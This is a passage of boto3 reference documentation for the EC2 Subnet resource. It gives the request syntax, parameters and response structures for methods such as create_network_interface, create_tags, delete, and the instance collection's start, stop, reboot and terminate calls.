termination and provides a Spot Instance termination notice, which gives the instance a two-minute warning before it terminates. + + You can't specify an Availability Zone group or a launch group if you specify a duration. + + New accounts or accounts with no previous billing history with AWS are not eligible for Spot Instances with a defined duration (also known as Spot blocks). + + * **ValidUntil** _(datetime) --_ + + The end date of the request, in UTC format (_YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). Supported only for persistent requests. + + * For a persistent request, the request remains active until the ValidUntil date and time is reached. Otherwise, the request remains active until you cancel it. + * For a one-time request, ValidUntil is not supported. The request remains active until all instances launch or you cancel the request. + * **InstanceInterruptionBehavior** _(string) --_ + + The behavior when a Spot Instance is interrupted. The default is terminate . + +* **CreditSpecification** (_dict_) -- + + The credit option for CPU usage of the burstable performance instance. Valid values are standard and unlimited . To change this attribute after launch, use [ModifyInstanceCreditSpecification](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyInstanceCreditSpecification.html) . For more information, see [Burstable performance instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/burstable-performance-instances.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: standard (T2 instances) or unlimited (T3/T3a instances) + + * **CpuCredits** _(string) --_ **[REQUIRED]** + + The credit option for CPU usage of a T2, T3, or T3a instance. Valid values are standard and unlimited . + +* **CpuOptions** (_dict_) -- + + The CPU options for the instance. For more information, see [Optimizing CPU options](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-optimize-cpu.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **CoreCount** _(integer) --_ + + The number of CPU cores for the instance. + + * **ThreadsPerCore** _(integer) --_ + + The number of threads per CPU core. To disable multithreading for the instance, specify a value of 1 . Otherwise, specify the default value of 2 . + +* **CapacityReservationSpecification** (_dict_) -- + + Information about the Capacity Reservation targeting option. If you do not specify this parameter, the instance's Capacity Reservation preference defaults to open , which enables it to run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + + * **CapacityReservationPreference** _(string) --_ + + Indicates the instance's Capacity Reservation preferences. Possible preferences include: + + * open - The instance can run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + * none - The instance avoids running in a Capacity Reservation even if one is available. The instance runs as an On-Demand Instance. + * **CapacityReservationTarget** _(dict) --_ + + Information about the target Capacity Reservation or Capacity Reservation group. + + * **CapacityReservationId** _(string) --_ + + The ID of the Capacity Reservation in which to run the instance. + + * **CapacityReservationResourceGroupArn** _(string) --_ + + The ARN of the Capacity Reservation resource group in which to run the instance. + +* **HibernationOptions** (_dict_) -- + + Indicates whether an instance is enabled for hibernation. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + You can't enable hibernation and AWS Nitro Enclaves on the same instance. + + * **Configured** _(boolean) --_ + + If you set this parameter to true , your instance is enabled for hibernation. + + Default: false + +* **LicenseSpecifications** (_list_) -- + + The license configurations. + + * _(dict) --_ + + Describes a license configuration. + + * **LicenseConfigurationArn** _(string) --_ + + The Amazon Resource Name (ARN) of the license configuration. + +* **MetadataOptions** (_dict_) -- + + The metadata options for the instance. For more information, see [Instance metadata and user data](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) . + + * **HttpTokens** _(string) --_ + + The state of token usage for your instance metadata requests. If the parameter is not specified in the request, the default state is optional . + + If the state is optional , you can choose to retrieve instance metadata with or without a signed token header on your request. If you retrieve the IAM role credentials without a token, the version 1.0 role credentials are returned. If you retrieve the IAM role credentials using a valid signed token, the version 2.0 role credentials are returned. + + If the state is required , you must send a signed token header with any instance metadata retrieval requests. In this state, retrieving the IAM role credentials always returns the version 2.0 credentials; the version 1.0 credentials are not available. + + * **HttpPutResponseHopLimit** _(integer) --_ + + The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. + + Default: 1 + + Possible values: Integers from 1 to 64 + + * **HttpEndpoint** _(string) --_ + + This parameter enables or disables the HTTP metadata endpoint on your instances. If the parameter is not specified, the default state is enabled . + + Note + + If you specify a value of disabled , you will not be able to access your instance metadata. + +* **EnclaveOptions** (_dict_) -- + + Indicates whether the instance is enabled for AWS Nitro Enclaves. For more information, see [What is AWS Nitro Enclaves?](https://docs.aws.amazon.com/enclaves/latest/user/nitro-enclave.html) in the _AWS Nitro Enclaves User Guide_ . + + You can't enable AWS Nitro Enclaves and hibernation on the same instance. + + * **Enabled** _(boolean) --_ + + To enable the instance for AWS Nitro Enclaves, set this parameter to true . + + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +create_network_interface(kwargs_) + +Creates a network interface in the specified subnet. + +For more information about network interfaces, see [Elastic Network Interfaces](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateNetworkInterface) + +**Request Syntax** + +network_interface = subnet.create_network_interface( + Description='string', + DryRun=True|False, + Groups=[ + 'string', + ], + Ipv6AddressCount=123, + Ipv6Addresses=[ + { + 'Ipv6Address': 'string' + }, + ], + PrivateIpAddress='string', + PrivateIpAddresses=[ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + SecondaryPrivateIpAddressCount=123, + InterfaceType='efa', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **Description** (_string_) -- A description for the network interface. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Groups** (_list_) -- + + The IDs of one or more security groups. + + * _(string) --_ +* **Ipv6AddressCount** (_integer_) -- The number of IPv6 addresses to assign to a network interface. Amazon EC2 automatically selects the IPv6 addresses from the subnet range. You can't use this option if specifying specific IPv6 addresses. If your subnet has the AssignIpv6AddressOnCreation attribute set to true , you can specify 0 to override this setting. +* **Ipv6Addresses** (_list_) -- + + One or more specific IPv6 addresses from the IPv6 CIDR block range of your subnet. You can't use this option if you're specifying a number of IPv6 addresses. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + +* **PrivateIpAddress** (_string_) -- The primary private IPv4 address of the network interface. If you don't specify an IPv4 address, Amazon EC2 selects one for you from the subnet's IPv4 CIDR range. If you specify an IP address, you cannot indicate any IP addresses specified in privateIpAddresses as primary (only one IP address can be designated as primary). +* **PrivateIpAddresses** (_list_) -- + + One or more private IPv4 addresses. + + * _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + * **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + +* **SecondaryPrivateIpAddressCount** (_integer_) -- + + The number of secondary private IPv4 addresses to assign to a network interface. When you specify a number of secondary IPv4 addresses, Amazon EC2 selects these IP addresses within the subnet's IPv4 CIDR range. You can't specify this option and specify more than one private IP address using privateIpAddresses . + + The number of IP addresses you can assign to a network interface varies by instance type. For more information, see [IP Addresses Per ENI Per Instance Type](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html#AvailableIpPerENI) in the _Amazon Virtual Private Cloud User Guide_ . + +* **InterfaceType** (_string_) -- Indicates the type of network interface. To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . +* **TagSpecifications** (_list_) -- + + The tags to apply to the new network interface. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1094)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1096)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.NetworkInterface + +Returns + +NetworkInterface resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = subnet.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified subnet. You must terminate all running instances in the subnet before you can delete the subnet. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteSubnet) + +**Request Syntax** + +response = subnet.delete( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_subnets()](#EC2.Client.describe_subnets "EC2.Client.describe_subnets") to update the attributes of the Subnet resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +subnet.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_subnets()](#EC2.Client.describe_subnets "EC2.Client.describe_subnets") to update the attributes of the Subnet resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +subnet.reload() + +Returns + +None + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +instances + +A collection of Instance resources.A Instance Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = subnet.instances.all() + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +response = subnet.instances.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Returns + +None + +filter(kwargs_) + +Creates an iterable of all Instance resources in the collection filtered by kwargs passed to method.A Instance collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = subnet.instances.filter( + InstanceIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +* **InstanceIds** (_list_) -- + + The instance IDs. + + Default: Describes all your instances. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +* **NextToken** (_string_) -- The token to request the next page of results. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = subnet.instances.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +monitor(kwargs_) + +Enables detailed monitoring for a running instance. Otherwise, basic monitoring is enabled. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +To disable detailed monitoring, see . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/MonitorInstances) + +**Request Syntax** + +response = subnet.instances.monitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **InstanceMonitorings** _(list) --_ + + The monitoring information. + + * _(dict) --_ + + Describes the monitoring of an instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +page_size(kwargs_) + +Creates an iterable of all Instance resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = subnet.instances.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +reboot(kwargs_) + +Requests a reboot of the specified instances. This operation is asynchronous; it only queues a request to reboot the specified instances. The operation succeeds if the instances are valid and belong to you. Requests to reboot terminated instances are ignored. + +If an instance does not cleanly shut down within a few minutes, Amazon EC2 performs a hard reboot. + +For more information about troubleshooting, see [Getting console output and rebooting instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RebootInstances) + +**Request Syntax** + +response = subnet.instances.reboot( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +start(kwargs_) + +Starts an Amazon EBS-backed instance that you've previously stopped. + +Instances that use Amazon EBS volumes as their root devices can be quickly stopped and started. When an instance is stopped, the compute resources are released and you are not billed for instance usage. However, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. You can restart your instance at any time. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +Before stopping an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM. + +Performing this operation on an instance that uses an instance store as its root device returns an error. + +For more information, see [Stopping instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Stop_Start.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StartInstances) + +**Request Syntax** + +response = subnet.instances.start( + AdditionalInfo='string', + DryRun=True|False +) + +Parameters + +* **AdditionalInfo** (_string_) -- Reserved. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StartingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **StartingInstances** _(list) --_ + + Information about the started instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +stop(kwargs_) + +Stops an Amazon EBS-backed instance. + +You can use the Stop action to hibernate an instance if the instance is [enabled for hibernation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#enabling-hibernation) and it meets the [hibernation prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#hibernating-prerequisites) . For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +We don't charge usage for a stopped instance, or data transfer fees; however, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +You can't stop or hibernate instance store-backed instances. You can't use the Stop action to hibernate Spot Instances, but you can specify that Amazon EC2 should hibernate Spot Instances when they are interrupted. For more information, see [Hibernating interrupted Spot Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-interruptions.html#hibernate-spot-instances) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop or hibernate an instance, we shut it down. You can restart your instance at any time. Before stopping or hibernating an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM, but hibernating an instance does preserve data stored in RAM. If an instance cannot hibernate successfully, a normal shutdown occurs. + +Stopping and hibernating an instance is different to rebooting or terminating it. For example, when you stop or hibernate an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, the root device and any other devices attached during the instance launch are automatically deleted. For more information about the differences between rebooting, stopping, hibernating, and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop an instance, we attempt to shut it down forcibly after a short while. If your instance appears stuck in the stopping state after a period of time, there may be an issue with the underlying host computer. For more information, see [Troubleshooting stopping your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesStopping.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StopInstances) + +**Request Syntax** + +response = subnet.instances.stop( + Hibernate=True|False, + DryRun=True|False, + Force=True|False +) + +Parameters + +* **Hibernate** (_boolean_) -- + + Hibernates the instance if the instance was enabled for hibernation at launch. If the instance cannot hibernate successfully, a normal shutdown occurs. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: false + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Force** (_boolean_) -- + + Forces the instances to stop. The instances do not have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. This option is not recommended for Windows instances. + + Default: false + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StoppingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **StoppingInstances** _(list) --_ + + Information about the stopped instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +terminate(kwargs_) + +Shuts down the specified instances. This operation is idempotent; if you terminate an instance more than once, each call succeeds. + +If you specify multiple instances and the request fails (for example, because of a single incorrect instance ID), none of the instances are terminated. + +Terminated instances remain visible after termination (for approximately one hour). + +By default, Amazon EC2 deletes all EBS volumes that were attached when the instance launched. Volumes attached after instance launch continue running. + +You can stop, start, and terminate EBS-backed instances. You can only terminate instance store-backed instances. What happens to an instance differs if you stop it or terminate it. For example, when you stop an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, any attached EBS volumes with the DeleteOnTermination block device mapping parameter set to true are automatically deleted. For more information about the differences between stopping and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information about troubleshooting, see [Troubleshooting terminating your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesShuttingDown.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/TerminateInstances) + +**Request Syntax** + +response = subnet.instances.terminate( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TerminatingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **TerminatingInstances** _(list) --_ + + Information about the terminated instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of 